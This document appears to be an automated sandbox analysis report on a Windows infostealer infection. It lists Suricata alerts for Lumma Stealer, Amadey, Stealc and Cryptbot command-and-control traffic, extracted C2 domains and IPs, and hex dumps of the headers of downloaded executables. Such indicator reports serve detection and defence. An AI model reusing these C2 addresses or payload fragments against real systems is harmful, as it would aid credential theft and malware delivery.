Source: Network traffic	Suricata IDS: 2057927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.5:63730 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057975 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.5:63730 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057943 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.5:54870 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057971 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.5:54870 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.5:59263 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.5:59263 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49894 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49860 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49928 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.5:56331 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49945 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49948 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49953 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49964 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49971 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49979 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49970 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49978 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49985 -> 141.8.192.141:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49978 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49978
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49978 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49978
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49991 -> 141.8.192.141:80
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49978 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49993 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:49994 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.5:50000 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49994 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49964 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49994 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49945 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49945 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49953 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49953 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49877 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50000 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50000 -> 104.21.50.161:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: drive-connect.cyou
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 08:01:09 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 08:01:21 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 08:01:28 GMTContent-Type: application/octet-streamContent-Length: 4461568Last-Modified: Mon, 16 Dec 2024 07:36:17 GMTConnection: keep-aliveETag: "675fd871-441400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 ab 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 5c 47 00 00 66 6d 00 00 32 00 00 00 50 bf 00 00 10 00 00 00 70 47 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 bf 00 00 04 00 00 8d d6 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f d0 6a 00 73 00 00 00 00 c0 6a 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 34 bf 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 34 bf 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 6a 00 00 10 00 00 00 32 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 c0 6a 00 00 02 00 00 00 42 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 6a 00 00 02 00 00 00 44 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 38 00 00 e0 6a 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6a 6a 65 67 61 7a 73 00 b0 1b 00 00 90 a3 00 00 a6 1b 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 64 77 62 65 74 75 78 00 10 00 00 00 40 bf 00 00 04 00 00 00 ee 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 bf 00 00 22 00 00 00 f2 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 08:01:41 GMTContent-Type: application/octet-streamContent-Length: 4485120Last-Modified: Mon, 16 Dec 2024 07:37:00 GMTConnection: keep-aliveETag: "675fd89c-447000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b1 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e0 4b 00 00 64 71 00 00 32 00 00 00 e0 c3 00 00 10 00 00 00 f0 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 c4 00 00 04 00 00 7d 67 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f c0 6e 00 73 00 00 00 00 b0 6e 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 c0 c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 c0 c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 6e 00 00 10 00 00 00 40 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 b0 6e 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 6e 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 39 00 00 d0 6e 00 00 02 00 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 74 66 78 75 69 6a 6f 00 00 1c 00 00 d0 a7 00 00 f4 1b 00 00 56 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 76 6b 73 61 6c 67 64 00 10 00 00 00 d0 c3 00 00 04 00 00 00 4a 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 c3 00 00 22 00 00 00 4e 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 08:01:52 GMTContent-Type: application/octet-streamContent-Length: 1818624Last-Modified: Mon, 16 Dec 2024 07:22:23 GMTConnection: keep-aliveETag: "675fd52f-1bc000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 e0 47 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 48 00 00 04 00 00 40 84 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 29 00 00 40 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 70 6a 67 75 6e 69 74 00 40 19 00 00 90 2e 00 00 3a 19 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 63 6e 68 61 79 6a 79 00 10 00 00 00 d0 47 00 00 04 00 00 00 9a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 47 00 00 22 00 00 00 9e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 08:02:01 GMTContent-Type: application/octet-streamContent-Length: 1777664Last-Modified: Mon, 16 Dec 2024 07:22:30 GMTConnection: keep-aliveETag: "675fd536-1b2000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 